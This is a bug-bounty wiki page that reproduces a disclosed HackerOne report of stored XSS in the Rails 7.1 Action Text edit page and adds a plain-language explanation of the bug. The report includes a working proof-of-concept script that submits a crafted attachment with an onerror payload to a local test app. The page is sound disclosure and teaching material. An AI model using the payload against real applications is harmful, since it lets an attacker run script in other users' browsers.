Skip to content
XSS Disclosed report Intermediate

Action Text XSS (Rails 7.1.x)

A crafted rich-text attachment value stored through the blog creation form is rendered unsafely on the Action Text edit page, so script in the attachment fires there. An attacker could run script in the browser of another user who opens the same edit page.

ooooooo_q Follow

Originally disclosed on HackerOne

  • Triaged in 9 days
  • Fixed in 4 months
  • Disclosed after 11 months

I have confirmed that XSS occurs on the Action Text edit ui. XSS is triggered when attempting to edit the text in which the crafted values are stored.

PoC

Prepare the environment.

❯ rails new -C  -G -T text
# => Rails 7.1.3.2, Ruby 3.2.3

❯ cd text

❯ bin/rails g scaffold Blog title:string body:rich_text

❯ bin/rails action_text:install

❯ bundle install

❯ bin/rails db:migrate

❯ bin/rails s

Open http://localhost:3000/blogs/new and send the following from the developer tools

JavaScript
function escapeHTML(str) {
    var div = document.createElement('div');
    div.appendChild(document.createTextNode(str));
    return div.innerHTML;
}

html = "<img src=. onerror='alert(location)' />"
html_text = '<action-text-attachment content-type="text/html" content="'+ escapeHTML (html) +'"></action-text-attachment>'

csrfToken = document.querySelector("meta[name='csrf-token']").content

fetch("http://localhost:3000/blogs", {
  "headers": {
  	"content-type": "application/x-www-form-urlencoded;charset=UTF-8",
    "x-csrf-token": csrfToken,
  },
  "body": "blog%5Btitle%5D=aaa&blog%5Bbody%5D=" +encodeURIComponent(html_text)+ "&commit=Create+Blog",
  "method": "POST",
});

Can confirm that XSS does not fire on the http://localhost:3000/blogs/xxx/show page,

7_1_show.png
7_1_show.png From the original on HackerOne

but XSS does occur on the http://localhost:3000/blogs/xxx/edit page.

7_1_edit.png
7_1_edit.png From the original on HackerOne

Impact

If multiple users have access to the same edit page, an XSS-based attack is possible between users.

This vulnerability is probably due to https://github.com/rails/rails/pull/45739 PR and was not reproduced in Rails 7.0.

The original report as published on HackerOne, by ooooooo_q. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Action Text edit UI renders attachment content without proper sanitisation, a regression introduced by a related Rails change.

Impact

If several users share access to the same edit page, an attacker could run script in another user's browser; the show page was not affected.

What the attacker needed

Rails 7.1.x with Action Text; ability to create a blog entry; victim opens the edit page

How it was found

  1. Create a new Rails app and generate a scaffold with a rich text body.
  2. Install Action Text, run migrations and start the server.
  3. Open the new blog page and submit a blog whose body contains a crafted attachment value.
  4. Open the edit page for that blog and observe the script running.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Rich text editors let you embed attachments inside text. Here the edit screen put stored attachment content into the page without making it safe, so a script hidden in that content ran in the browser. That could enable an attack between users who share the edit page.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by ooooooo_q

View all

53 more disclosed reports, best first.

More from Ruby on Rails

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.